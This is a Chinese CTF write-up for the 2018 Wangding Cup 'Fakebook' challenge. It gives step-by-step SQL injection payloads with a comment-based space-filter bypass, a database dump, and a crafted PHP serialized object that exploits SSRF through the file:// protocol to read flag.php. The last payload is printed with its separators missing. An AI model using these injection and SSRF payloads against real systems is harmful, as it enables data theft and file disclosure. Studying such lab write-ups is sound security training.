[网鼎杯 2018]Fakebook
首先随便注册一个账号
注册成功后如下所示
利用dirsearch扫描以下目录,发现了robots.txt
查询后发现了如下信息
再查询user.php.bak ,下载其压缩文件,打开后发现一段源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
分析一下源码
curl_setopt( resource $ch , int $option , mixed $value ):设置curl传输选项,为curl会话句柄设置选项。
参数:
- ch:由 curl_init() 返回的 cURL 句柄。
- option:需要设置的CURLOPT_XXX选项。(CURLOPT_URL:需要获取的 URL 地址,也可以在
curl_init() 初始化会话的时候。使用CURLOPT_RETURNTRANSFER后总是会返回原生的(Raw)内容。) - value:将设置在option选项上的值。
curl_getinfo:获取一个cURL连接资源句柄的信息,获取最后一次传输的相关信息。
经过分析可得:
-
注册界面输入的blog经过了isValidBlog()函数的过滤,不然直接在注册界面blog处输入file:///var/www/html/flag.php 就能拿到flag。 -
get()函数存在ssrf漏洞。 显然存在ssrf漏洞,并且拼接入我们的url就是我们注册的时候输入的url,但是显然是有waf的,所以我们就不能够直接利用。没有WAF直接在注册界面输入file:///var/www/html/flag.php就能拿到我们想要的flag。所以思路是,把flag的路径赋给blog,经过一系列操作最后会返回flag.php的内容。
点击hjy 进入如下界面
点击进入后,注意到url栏可能存在SQL注入,尝试进行联合查询
先判断列数
?no=1 order by 4# ==>回显正常
再查看回显位
?no=-1 union select 1,2,3,4# ==>提示no hack
尝试修改为下面的注入语句后成功绕过,说明过滤了空格
?no=-1/**/union/**/select/**/1,2,3,4#
由图可知,注入点为2
爆库
?no=-1/**/union/**/select/**/1,database(),3,4# ==>fakebook
爆表
?no=-1/**/union/**/select/**/1,group_concat(table_name),3,4/**/from information_schema.tables where table_schema="fakebook"# ==>users
爆字段
?no=-1/**/union/**/select/**/1,group_concat(column_name),3,4/**/from information_schema.columns where table_name="users"# ==>no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
爆数据
?no=-1/**/union/**/select/**/1,group_concat(no,username,passwd,data),3,4/**/from users# ==>1hjy4bce187a08dcf53c18ba409f57f62de0842a43ebf4d6450c3f3fea7d92146b466a2e89d9660f6e8ecdc15773c9735dbb02247225bca7d07f6c3567ea9d26534fO:8:"UserInfo":3:{s:4:"name";s:3:"hjy";s:3:"age";i:19;s:4:"blog";s:61:"https://blog.csdn.net/weixin_52250313?spm=1000.2115.3001.5343";}
得到自己刚刚注册信息的序列化值,并且发现爆出路径:/var/www/html/。结合之前网页源码,判断是要传参(getBlogContents)以后网站反序列化,返回flag的值。
接下来利用ssrf漏洞,可以利用的变量在构造函数中,反序列化对象会自动执行构造函数。所以我们编写脚本,将需要构造的ssrf放在blog属性中,让其在反序列化时被调用。看到data中存的是反序列化数据,然后尝试利用ssrf漏洞读取flag.php。于是构造序列化的内容,里面要读取文件得使用file协议,基本的格式如: file:///文件路径
编写脚本
<?php
class UserInfo
{
public $name = "he";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";
}
$a = new UserInfo();
echo serialize($a);
?>
序列化后的结果为:
O:8:"UserInfo":3:{s:4:"name";s:2:"he";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
因为blog在第四位,所以paylaod:
?no=-1unionselect1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"he";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
,所以paylaod:
?no=-1unionselect1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"he";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
打开网页后查看源码,访问源码最下面的链接即可得到flag
|